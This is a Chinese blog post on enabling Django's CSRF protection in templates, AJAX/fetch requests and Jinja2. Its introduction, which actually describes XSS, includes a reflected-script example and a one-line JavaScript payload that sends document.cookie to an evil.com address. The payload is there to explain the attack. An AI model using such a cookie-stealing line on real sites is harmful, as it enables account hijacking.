• 博客园logo
  • 会员
  • 周边
  • 新闻
  • 博问
  • 闪存
  • 众包
  • 赞助商
  • Chat2DB
    • 搜索
      所有博客
    • 搜索
      当前博客
  • 写随笔 我的博客 短消息 简洁模式
    用户头像
    我的博客 我的园子 账号设置 会员中心 简洁模式 ... 退出登录
    注册 登录
菩提叶子
博客园    首页    新随笔    联系   管理    订阅  订阅
django跨站请求伪造csrf

一、简介

跨站点脚本 (XSS)漏洞是指攻击者可以将脚本注入到你的服务器发送的页面中。浏览器将这些注入的脚本视为页面中的任何其他脚本。

例如,如果 http://www.yoursite.com/search?q=<script>alert(5)</script> 返回“<p><script>alert(5)</script> 没有命中.</p>”,网站容易受到简单的 XSS 漏洞的攻击。如果恶意站点链接到此类 URL,它可以通过多种方式控制该站点上的用户帐户:

  • 窃取该站点的 cookie (location = "http://evil.com/stealcookie.cgi?cookie=" + encodeURIComponent(document.cookie))。
  • 窃取浏览器存储的该站点的密码,或者用户在检查他们是否在正确的站点后愿意输入的密码。
  • 读取网站上的用户数据或使用 iframe 和 DOM 代表用户行事。
  • 为攻击者设置一个交互式会话来控制用户的帐户,使用用户的浏览器作为代理,只要用户不离开页面。
  • 如果该站点有另一个XSS漏洞可以通过cookie进行利用,则可以使用普通的XSS漏洞设置cookie,从而导致永久性攻击。

二、使用django的csrf

要在视图中利用 CSRF 保护,请执行以下步骤:

  1. CSRF 中间件在设置中默认被激活MIDDLEWARE 。如果您覆盖该设置,请记住它 'django.middleware.csrf.CsrfViewMiddleware'应该位于任何假定 CSRF 攻击已被处理的视图中间件之前。

    如果禁用它,可以 csrf_protect()在要保护的特定视图上使用。

  2. 在任何使用 POST 表单的模板中,如果表单用于内部 URL,请csrf_token在元素内使用标签,例如:

<form method="post">{% csrf_token %}#对于以外部 URL 为目标的 POST 表单,不应这样做,因为这会导致 CSRF 令牌泄露,从而导致漏洞。

#在相应的视图函数中,确保 RequestContext用于渲染响应,以便正常工作。如果正在使用 函数、通用视图或 contrib 应用程序,那么将被覆盖,因为这些都使用.{% csrf_token %}render()RequestContext

1、通过 ajax使用csrf保护

每个 POST 请求中将 CSRF 令牌作为 POST 数据传递。出于这个原因,有一种替代方法:在每个 XMLHttpRequest 上,将自定义X-CSRFToken标头(由 CSRF_HEADER_NAME设置指定)设置为 CSRF 令牌的值。

首先,必须获得 CSRF 令牌。如何做到这一点取决于是否启用CSRF_USE_SESSIONS和CSRF_COOKIE_HTTPONLY设置。

如果未启用可以像这样获取令牌:

function getCookie(name) {
    let cookieValue = null;
    if (document.cookie && document.cookie !== '') {
        const cookies = document.cookie.split(';');
        for (let i = 0; i < cookies.length; i++) {
            const cookie = cookies[i].trim();
            // Does this cookie string begin with the name we want?
            if (cookie.substring(0, name.length + 1) === (name + '=')) {
                cookieValue = decodeURIComponent(cookie.substring(name.length + 1));
                break;
            }
        }
    }
    return cookieValue;
}
const csrftoken = getCookie('csrftoken');

上面的代码可以通过使用JavaScript Cookie 库来替换来简化getCookie:

如果激活或者启用,必须在 HTML 中包含 CSRF 令牌并使用 JavaScript 从 DOM 读取令牌:

{% csrf_token %}
<script>
const csrftoken = document.querySelector('[name=csrfmiddlewaretoken]').value;
</script>

最后在ajax请求中设置标头,使用fetch():

const request = new Request(
    /* URL */,
    {
        method: 'POST',
        headers: {'X-CSRFToken': csrftoken},
        mode: 'same-origin' // Do not send CSRF token to another domain.
    }
);
fetch(request).then(function(response) {
    // ...
});

2、在jinja2模板中使用

在Django 的Jinja2模板后端添加到所有模板的上下文中,这相当于Django 模板语言。例如:{{ csrf_input }}{% csrf_token %}

<form method="post">{{ csrf_input }}

更多解决方法请查询django官网https://docs.djangoproject.com/en/4.1/howto/csrf/#using-csrf-protection-with-caching

 

 

 

 

 

posted on 2022-11-10 17:46  菩提叶子  阅读(31)  评论(0)    收藏  举报
刷新页面返回顶部
博客园  ©  2004-2025
浙公网安备 33010602011771号 浙ICP备2021040463号-3